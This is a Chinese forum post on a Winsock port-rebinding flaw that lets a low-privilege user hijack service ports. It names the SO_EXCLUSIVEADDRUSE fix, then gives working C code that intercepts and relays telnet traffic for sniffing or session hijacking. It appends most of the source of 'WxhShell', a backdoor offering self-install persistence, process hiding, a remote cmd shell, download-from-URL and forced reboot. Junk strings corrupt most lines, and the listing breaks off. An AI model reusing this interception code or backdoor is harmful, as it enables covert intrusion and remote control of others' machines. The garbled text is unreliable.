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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v_Hy:O}R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "d`u#YmR  
(^"2"[?a  
  saddr.sin_family = AF_INET; pL . 0_  
B3<sSe8L0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #-o 'g!  
qLPuKIF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g4y& 6!g  
y\ })C-&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TPs ]n7]:  
v o4U%  
  这意味着什么?意味着可以进行如下的攻击: s\< @v7A  
EywBT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &;sW4jnt  
ROXa/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kS?CKd9by  
W4bN']?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xS:n  
S503b*pM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8rjD1<  
@j"6f|d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &KY!a0s  
S>)[n]f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @t;726  
2m"cK^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -L<FVB  
3 /PvH E{R  
  #include )TEm1\  
  #include (L1F ],Au  
  #include WEJ-K<A(  
  #include    ^KnK \  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T|0+o+i  
  int main() @qYT/V*/  
  { \ @[Q3.VX  
  WORD wVersionRequested; D1 $ER>  
  DWORD ret; IA{W-RRb  
  WSADATA wsaData; 6^!fuIZ;_  
  BOOL val; d WY{x47  
  SOCKADDR_IN saddr; L^zh|MEyzk  
  SOCKADDR_IN scaddr; GwfCl{l  
  int err; hu1ZckIw?  
  SOCKET s; " Zx<hL*  
  SOCKET sc; L|}s Z\2!  
  int caddsize; V#5$J Xp  
  HANDLE mt; }%-iJ\  
  DWORD tid;   )0]U"Nf ho  
  wVersionRequested = MAKEWORD( 2, 2 ); 0\vG <  
  err = WSAStartup( wVersionRequested, &wsaData ); q3#+G:nh  
  if ( err != 0 ) { ^8A [ ^cgq  
  printf("error!WSAStartup failed!\n"); H9PnJr8 \  
  return -1; `R>z{-@=  
  } PEm2w#X%L  
  saddr.sin_family = AF_INET; <hj2'd U  
   zsd1n`r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kY!zBk  
y4LUC;[n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Goc?HR  
  saddr.sin_port = htons(23); dq`{fqGl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z#ki# o  
  { AS@(]T#R  
  printf("error!socket failed!\n"); $B_%MfI  
  return -1; %Zbm%YaW5  
  } q\x.e.@  
  val = TRUE; ""XAUxo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zL9~gJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aK95&Jyw&  
  { oI[rxr  
  printf("error!setsockopt failed!\n"); ux)*B}/xh  
  return -1; QnD8L.Dg  
  } ~59lkr8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N0Y4m_dm*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @ci..::5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *d;TpwUI  
w5{l-Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >e R^G5rn;  
  { ]W14'Z  
  ret=GetLastError(); <<CWN(hQWO  
  printf("error!bind failed!\n"); )LIn1o_,  
  return -1; r6'dEa  
  } pR93T+X  
  listen(s,2); U|xHy+N  
  while(1) jhQoBC>:  
  { k]5tU\;Yw  
  caddsize = sizeof(scaddr); ~{tO8 ]  
  //接受连接请求 V%PQlc.X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aG^E^^Y  
  if(sc!=INVALID_SOCKET) 1' U  
  { ?%UiW7}j';  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h!%y,4IBR  
  if(mt==NULL) [B+F}Q^;  
  { un_NBv}  
  printf("Thread Creat Failed!\n"); &Wcz~Gx3Q  
  break; 7Tdx*1 U  
  } L r"cO|F  
  } t^"8M6BqC;  
  CloseHandle(mt); 9QXsbd6  
  } X5[vQ3^  
  closesocket(s); KFHZ3HZ:>  
  WSACleanup(); ].kj-,5>f  
  return 0; ' QG`^@Z  
  }   IiqqdU]  
  DWORD WINAPI ClientThread(LPVOID lpParam) I V# 8W  
  { .Iqqjk  
  SOCKET ss = (SOCKET)lpParam; ;9mRumLG"  
  SOCKET sc; U|tacO5w`  
  unsigned char buf[4096]; 4tLdqs  
  SOCKADDR_IN saddr; G6zFQ\&f  
  long num; ~S Bb2*ID  
  DWORD val; .ZF%$H  
  DWORD ret; F&R*njJcc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7WS$fUBi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @ewaj!  
  saddr.sin_family = AF_INET; tt?`,G.(]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zhs @ YMY  
  saddr.sin_port = htons(23); 2K};-}eW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |YROxY"ML  
  { s0;a j<J  
  printf("error!socket failed!\n"); Y?J/KW3  
  return -1; p4f9v:b[  
  } xRacgny:I  
  val = 100; FqA4 O U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :Q=y'<  
  { s=(q#Z  
  ret = GetLastError(); (Q=o 9o:b  
  return -1; I*.nwV<  
  } hxMRmH[f:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TYGI f4z  
  { ?g4Rk9<!i  
  ret = GetLastError(); #%nV\ Bl  
  return -1; JH]S'5X8K  
  } aq_K,li #w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w6!97x  
  { GD.Ss9_h1  
  printf("error!socket connect failed!\n"); }8tF.QjR|  
  closesocket(sc); $+GDPYm'  
  closesocket(ss); Pz0MafF|T  
  return -1; zw15r" R  
  } v[ML=pL  
  while(1) <`pNdy4  
  { tcXXo&ZS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l%_K$$C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zTB&Wlt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8]`#ax 5  
  num = recv(ss,buf,4096,0); d~~, 5E  
  if(num>0) >"!ScYn  
  send(sc,buf,num,0); kR97 )}Y  
  else if(num==0) njxLeD e-  
  break; a r8iuwfZ  
  num = recv(sc,buf,4096,0); EB!ne)X  
  if(num>0) J/e]  
  send(ss,buf,num,0); *`"+J_   
  else if(num==0) T>% 5<P  
  break; q,)V0Ffe[|  
  } >Vt2@Ee  
  closesocket(ss); u@e.5_:S)  
  closesocket(sc); %f&Y=  
  return 0 ; M;<!C%K>  
  } _:Xmq&<W  
8_4!Ar>2  
>R]M:Wx  
========================================================== ZAfuW^r  
sPZwA0%  
下边附上一个代码,,WXhSHELL -W^{)%4g  
rmA?Xlh\  
========================================================== d*s*AV  
&,G2<2_b  
#include "stdafx.h" $Ah p4oiE  
RD[P|4eY  
#include <stdio.h> +7w5m  
#include <string.h> o%~fJx:]y  
#include <windows.h> {H[N|\  
#include <winsock2.h> %pq.fZ I   
#include <winsvc.h> QGfwvFm  
#include <urlmon.h> ~{lb`M^]h  
+'g O%^{l  
#pragma comment (lib, "Ws2_32.lib") D^O[_/i&  
#pragma comment (lib, "urlmon.lib") 8d5#vm  
*d=}HO/  
#define MAX_USER   100 // 最大客户端连接数 ?:9y !Q=  
#define BUF_SOCK   200 // sock buffer ;6PU  
#define KEY_BUFF   255 // 输入 buffer 0>CG2SRn  
0=HB!{ @  
#define REBOOT     0   // 重启 ,V 52Fj  
#define SHUTDOWN   1   // 关机 (.!9  
[?7QmZK  
#define DEF_PORT   5000 // 监听端口 9*I[q[>9  
H6`k%O*  
#define REG_LEN     16   // 注册表键长度 ?P[:,0_  
#define SVC_LEN     80   // NT服务名长度 3_  J'+  
+I5\ `By=  
// 从dll定义API xwsl$Rj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j%` C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :MF`q.:X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E va&/o?P|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ib(|}7Je  
f91]0B `C  
// wxhshell配置信息 "vybVWEE  
struct WSCFG { iSf%N>y'K  
  int ws_port;         // 监听端口 =Ks&m4  
  char ws_passstr[REG_LEN]; // 口令 ;/+<N  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0O'M^[=d.8  
  char ws_regname[REG_LEN]; // 注册表键名 b&`~%f-  
  char ws_svcname[REG_LEN]; // 服务名 ;q-c[TZC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :a&M]+!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4 `l$0m@>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jk}3c>^D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o0No"8DnjH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a7_Q8iMe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xS@jV6E~  
prS%lg>  
}; *sp")h#Z  
<FkaH8,7  
// default Wxhshell configuration 4Wz1O$*  
struct WSCFG wscfg={DEF_PORT, ?pJ2"/K   
    "xuhuanlingzhe", *.w6 =}  
    1, Oi|cTZ@A-  
    "Wxhshell", +/$&P3  
    "Wxhshell", lW-G]V  
            "WxhShell Service", %9zpPr WF  
    "Wrsky Windows CmdShell Service", !8|r$mN8  
    "Please Input Your Password: ", ES,JdImZ|  
  1, Jityb}Z"  
  "http://www.wrsky.com/wxhshell.exe", ?@x$ h  
  "Wxhshell.exe" pR0 !bgC  
    }; tC1'IE-h  
#QlxEs#%  
// 消息定义模块 A1B[5a*o!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j# c@dze  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V 7~9z\lW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?7CdJgJp  
char *msg_ws_ext="\n\rExit."; ql.[Uq  
char *msg_ws_end="\n\rQuit."; h;E.y   
char *msg_ws_boot="\n\rReboot..."; o}waJN`yI  
char *msg_ws_poff="\n\rShutdown..."; ]Y?ZUSCJ  
char *msg_ws_down="\n\rSave to "; sDgo G  
G1X73qoHT<  
char *msg_ws_err="\n\rErr!"; '9vsv\A&  
char *msg_ws_ok="\n\rOK!"; c9uu4%KG6<  
e"EGqn&!  
char ExeFile[MAX_PATH]; :k_)Bh?+  
int nUser = 0; yp]vDm  
HANDLE handles[MAX_USER];  nmL|v  
int OsIsNt; Z< C39s  
@ajdO/?(Y  
SERVICE_STATUS       serviceStatus; Y._ACQG3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KvPLA{  
k<fR)o  
// 函数声明 7]5+%[Dg!  
int Install(void); 'q/C: Yo  
int Uninstall(void); ~nj+" d]  
int DownloadFile(char *sURL, SOCKET wsh); XkW@"pf&Fh  
int Boot(int flag); qoph#\  
void HideProc(void); 92,@tNQQ}  
int GetOsVer(void); 9*"K+t:  
int Wxhshell(SOCKET wsl); 6>)KiigZ\  
void TalkWithClient(void *cs); <VN< ~sz  
int CmdShell(SOCKET sock); 2,|@a\H  
int StartFromService(void); SzG %%CXH_  
int StartWxhshell(LPSTR lpCmdLine); `yhc,5M  
Sxy3cv53  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NXOvC!<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Wm'~y>  
\"yR[.Q?   
// 数据结构和表定义 YSZ[~?+  
SERVICE_TABLE_ENTRY DispatchTable[] = %74f6\  
{ zZ<~yi3A9  
{wscfg.ws_svcname, NTServiceMain}, ,:81DA  
{NULL, NULL}  >qI:  
}; &t@ $]m(  
5(\[Gke  
// 自我安装 oY@]&A^ah  
int Install(void) aO<H!hK  
{ ov>`MCS,v  
  char svExeFile[MAX_PATH]; iIo>]\Pw  
  HKEY key; noT}NX%  
  strcpy(svExeFile,ExeFile); lnxA/[`a  
@zix %x  
// 如果是win9x系统,修改注册表设为自启动 .R^]<b:`  
if(!OsIsNt) { )4+uM'2%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M?$tHA~OX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hn/SS  
  RegCloseKey(key); F|WH=s3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hp fTuydU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j!"NEh78H  
  RegCloseKey(key); h/l?,7KHI  
  return 0; Lhgs|*M  
    } afcyAzIB&  
  } A<g5:\3  
} eR8>5:V_  
else { {O[ !*+O  
%x$mAOUv  
// 如果是NT以上系统,安装为系统服务 IG@@CH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jRdW=/q+(  
if (schSCManager!=0) ]0p*EB=C*  
{ w?p8)Q6m  
  SC_HANDLE schService = CreateService Z~7}  
  ( 'seuO!5  
  schSCManager, h1?.x  
  wscfg.ws_svcname, 4b$m\hoN  
  wscfg.ws_svcdisp, Hkj| e6  
  SERVICE_ALL_ACCESS, ]GHx<5Q:\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hB*3Py27L  
  SERVICE_AUTO_START, S4X['0rX!  
  SERVICE_ERROR_NORMAL, x6*.zo5e  
  svExeFile, C;!h4l7L  
  NULL, fm,:8%  
  NULL, `_+m3vHG  
  NULL, : ]JsUb{YK  
  NULL, cE]#23  
  NULL @sb00ad2q  
  ); "LH*T  
  if (schService!=0) D D Crvl  
  { SxCzI$SGu  
  CloseServiceHandle(schService); &28n1  
  CloseServiceHandle(schSCManager); H~"XlP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZZl4|  
  strcat(svExeFile,wscfg.ws_svcname); qxW 2q8QHo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c'6$`nC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =Hs~fHa)  
  RegCloseKey(key); } u7&SU  
  return 0; ? &;d)TQ  
    } 3/hAxd  
  }  7QkAr  
  CloseServiceHandle(schSCManager); [?`c>  
} x5Ee'G(  
} @'!61'}f  
KBFAV&  
return 1; %z0@4G q  
} !P26$US%P  
)p;gm`42oY  
// 自我卸载 p{Gg,.f!HM  
int Uninstall(void) &_E*]Sj\  
{ y0' "  
  HKEY key; 0IM#T=V  
v)2@;Q  
if(!OsIsNt) { h@D4~(r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CQ3{'"b  
  RegDeleteValue(key,wscfg.ws_regname); 5+O#5" v_  
  RegCloseKey(key); T;< >""T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~dwl7Qc  
  RegDeleteValue(key,wscfg.ws_regname); XfT6,h7vFL  
  RegCloseKey(key); ;"nEEe]?  
  return 0; 6dmTv9e  
  } |E]YP~h  
} !J' xk  
} c(AjM9s  
else { E%-&!%_>D@  
uyG4zV\h*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ()>\D  
if (schSCManager!=0) {_/6,22j(V  
{ o#wF/ I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1|cmmUM-'v  
  if (schService!=0) RGtUKr'  
  { X>|.BvY|  
  if(DeleteService(schService)!=0) { hoeTJ/;dm  
  CloseServiceHandle(schService); %r!  
  CloseServiceHandle(schSCManager); Z?hBn`.  
  return 0; nw5#/5xw  
  } oa1a5+ A  
  CloseServiceHandle(schService); d*>M<6b-  
  } |#2<4sd  
  CloseServiceHandle(schSCManager); ?\#4`9  
}   6^: l  
} [bT@Y:X@`  
FJL9x,%6  
return 1; f (n{7  
} >v<}$v6D~  
H_8@J  
// 从指定url下载文件 kb7\qH!n  
int DownloadFile(char *sURL, SOCKET wsh) >PGm}s_  
{ Iwn@%?7  
  HRESULT hr; _mkI;<d]$T  
char seps[]= "/"; Mm[%v t40  
char *token; "?9fL#8f*!  
char *file; P|(J]/  
char myURL[MAX_PATH]; n'h )(^  
char myFILE[MAX_PATH]; (wY% $kW4  
UZAWh R  
strcpy(myURL,sURL); -=sxbs.aA  
  token=strtok(myURL,seps); Z.mV fy%  
  while(token!=NULL) wRiP5U,  
  { G#*!)#M <  
    file=token; c,~44Z  
  token=strtok(NULL,seps); fVN}7PH7+  
  } 2E1TJ.[BS  
e-K8K+7  
GetCurrentDirectory(MAX_PATH,myFILE); 1Ev+':%  
strcat(myFILE, "\\"); q9!#S  
strcat(myFILE, file); 7Rh:+bT  
  send(wsh,myFILE,strlen(myFILE),0); 0Its;|  
send(wsh,"...",3,0); 7lj-Z~1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RtW5U8  
  if(hr==S_OK) i-=ff  
return 0; 1*jL2P]D  
else 0*"j:V  
return 1; i;xMf5Jz  
QO>*3,(H,q  
} (hV"z;rI  
bYgYP|@  
// 系统电源模块 ,q HG1#^  
int Boot(int flag) te''sydUS  
{ hpyre B  
  HANDLE hToken; m pivg  
  TOKEN_PRIVILEGES tkp; &sgwY  
Y_B 4s-  
  if(OsIsNt) { dtBV0$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &}$D[ 4N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V<pqc&f .  
    tkp.PrivilegeCount = 1; <`*P/V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;X6y.1N~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M(E_5@?3  
if(flag==REBOOT) { 4~Pto f@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %Eh%mMb^  
  return 0; M!l5,ycF  
} !dH&IEP~  
else { ]."c4S_)|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @]tGfr;le&  
  return 0; uPXqTkod  
} N6[^62  
  } 9tEKA|8  
  else { `VE&Obp[  
if(flag==REBOOT) { 7uxPkZbb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mO> M=2A  
  return 0; Av>j+O ;  
} cB}2(`z9 B  
else { -b}S3<15@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ejY5n2V#=  
  return 0; vaOL6=[#:g  
} %pkq ?9  
} UeMe4$m  
AS_+}*WSFQ  
return 1; aQ:f"0fL  
} *9ub.:EUwV  
:fVMM7  
// win9x进程隐藏模块 l1Q+hz5"*U  
void HideProc(void) WbWW=(N'd  
{ pQ:PwyU  
>#U <#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b ]&zDo|8  
  if ( hKernel != NULL ) ]"g >>N  
  { %N>NOk)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zt2@?w;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3t{leuO'  
    FreeLibrary(hKernel); @H%=%ZwpO  
  } +Z<Q^5w@  
)B$P#dP)i  
return; :U.)YHY  
} qZsddll  
zHOE.V2Qo  
// 获取操作系统版本 y2$;t'  
int GetOsVer(void) H..ZvGu  
{ _<*GU@  
  OSVERSIONINFO winfo; o $`kpr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _6UAeZ*M  
  GetVersionEx(&winfo); 6_5d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f THun?Vn  
  return 1; 0yC`9g)(  
  else :6j :9lYL2  
  return 0; IqCCfsf4  
} sK%Hx`  
4JZHjf0M6  
// 客户端句柄模块 <VaMUm<2  
int Wxhshell(SOCKET wsl) ? TT8|Os  
{ s9rtXBJP  
  SOCKET wsh; &u1g7# #  
  struct sockaddr_in client; ^[,s_34V  
  DWORD myID; $'knK<  
sjzXJ`s  
  while(nUser<MAX_USER) U7"BlT!V\  
{ /"Yx@n  
  int nSize=sizeof(client); ~` \9Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7 ZL#f![{  
  if(wsh==INVALID_SOCKET) return 1; j:e^7|.   
.^LL9{?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %7]XW2u  
if(handles[nUser]==0) |#&V:GZp  
  closesocket(wsh); &=-e`=qJ'6  
else '>e79f-O)  
  nUser++; .IH@_iX  
  } pYfV~Q^3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N2tkCkl^x9  
c3V]'~  
  return 0; {M@@)27gW  
} F:;!) H*  
("?&p3];b  
// 关闭 socket "brRME3  
void CloseIt(SOCKET wsh) %'"HGZn b  
{ z+k=|RMau  
closesocket(wsh); zkh hN"bX  
nUser--; -SvTg{Q{la  
ExitThread(0); x7.QL?qR.  
} Uvh~B^6  
^XBzZ!h|  
// 客户端请求句柄 lMC{SfdH  
void TalkWithClient(void *cs) =naR{pI  
{ ?GO SeV  
sTtX$&Qu  
  SOCKET wsh=(SOCKET)cs; V06CCy8n  
  char pwd[SVC_LEN]; Zk=*7?!!  
  char cmd[KEY_BUFF]; ~H^'al2PK  
char chr[1]; Q(510)  
int i,j; <b d1  
PS=e\(6QC  
  while (nUser < MAX_USER) { c~}={4M]  
7}4'dW.  
if(wscfg.ws_passstr) { VEj$^bpp5s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y=AsgJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %MJL5  
  //ZeroMemory(pwd,KEY_BUFF); w 66 v\x~  
      i=0; ;gDMl57PQ.  
  while(i<SVC_LEN) { keLR1qf  
e>l,(ql  
  // 设置超时 ]~-*hOcQ4  
  fd_set FdRead; $. %L  
  struct timeval TimeOut; X^}A*4j  
  FD_ZERO(&FdRead); TE^7P0bh  
  FD_SET(wsh,&FdRead); HA6G)x  
  TimeOut.tv_sec=8; 9!9> ?Z  
  TimeOut.tv_usec=0; 6M ^IwE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CjZZm^O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4% HGMr  
pDu{e>S|:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |G(1[RNu  
  pwd=chr[0]; Q48+O?&  
  if(chr[0]==0xd || chr[0]==0xa) { F4Zn5&.)  
  pwd=0; dY}pN"  
  break; [oV{83f  
  } '\`6ot8  
  i++; Z@3l%p6V  
    } 9UwLF`XM  
?O??cjiA@  
  // 如果是非法用户,关闭 socket }e 9!xA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mN;+TN'?{  
} y&"!m }  
t<nFy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Py|;kF~![  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \m4T3fy  
|; $Bb866/  
while(1) { 0DNU,u  
n@!wp/J,  
  ZeroMemory(cmd,KEY_BUFF); Vtb1[cnna  
xjo;kx\y^  
      // 自动支持客户端 telnet标准   G"T\=cQz  
  j=0; I"@p aLZ  
  while(j<KEY_BUFF) {  ~,"N[Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 L/x-i  
  cmd[j]=chr[0]; /.R<,/gj  
  if(chr[0]==0xa || chr[0]==0xd) { - v]Qhf&>  
  cmd[j]=0; 5t\HJ`C1Z  
  break; a(;!O}3_)(  
  } jk*tL8?i  
  j++; gAt~?HvW6  
    } h[kU<mU"T  
kA4@`YCl  
  // 下载文件 K R,z^9  
  if(strstr(cmd,"http://")) { h7]EB!D\A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wN97_Y=`n  
  if(DownloadFile(cmd,wsh)) bFY~oa%C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @MiH(.Dq  
  else k?*KnfVh!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {u"8[@@./  
  } $TG =w  
  else { j.m(ltGh  
*27*>W1  
    switch(cmd[0]) { (YPi&w~S  
  AiP!hw/V$  
  // 帮助 =2Cj,[$  
  case '?': { +1rkq\{l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d%_OT0Ei  
    break; s@8w-]"  
  } w_hHfZ9E  
  // 安装 lk3=4|?zsE  
  case 'i': { = &tmP  
    if(Install()) GbI-SbE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dOFD5}_   
    else E{E0Z9t7&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `d\r;cE%lm  
    break; .uF[C{RnO  
    } b[I8iSkfi  
  // 卸载 =LkR!R=  
  case 'r': { CyDV r  
    if(Uninstall()) :9|\Z|S(I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *.#oxcll  
    else q%Yn;g|_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3]RyTQ  
    break; q1?&Ev^  
    } 8CbXMT  
  // 显示 wxhshell 所在路径 EV pi^>M  
  case 'p': { c(#;_Ve2P  
    char svExeFile[MAX_PATH]; ?W>qUrZ  
    strcpy(svExeFile,"\n\r"); 5 Xn.CBd]  
      strcat(svExeFile,ExeFile); /D! ;u]  
        send(wsh,svExeFile,strlen(svExeFile),0); 2*w0t:Yx e  
    break; ziPR>iz-  
    } Fz#X= gmG  
  // 重启 Lk\P7w{  
  case 'b': { FMA6_fju4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \K`L3*cBKK  
    if(Boot(REBOOT)) GZI`jS"lU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AIMSX]m  
    else { BTgG4F/)  
    closesocket(wsh); S*o[ZA   
    ExitThread(0); (T`E!A0I\?  
    } %\]* OZ7  
    break; ZKHG!`X0  
    } ;AO#xv+#  
  // 关机 ry9T U  
  case 'd': { }PTV] q%  
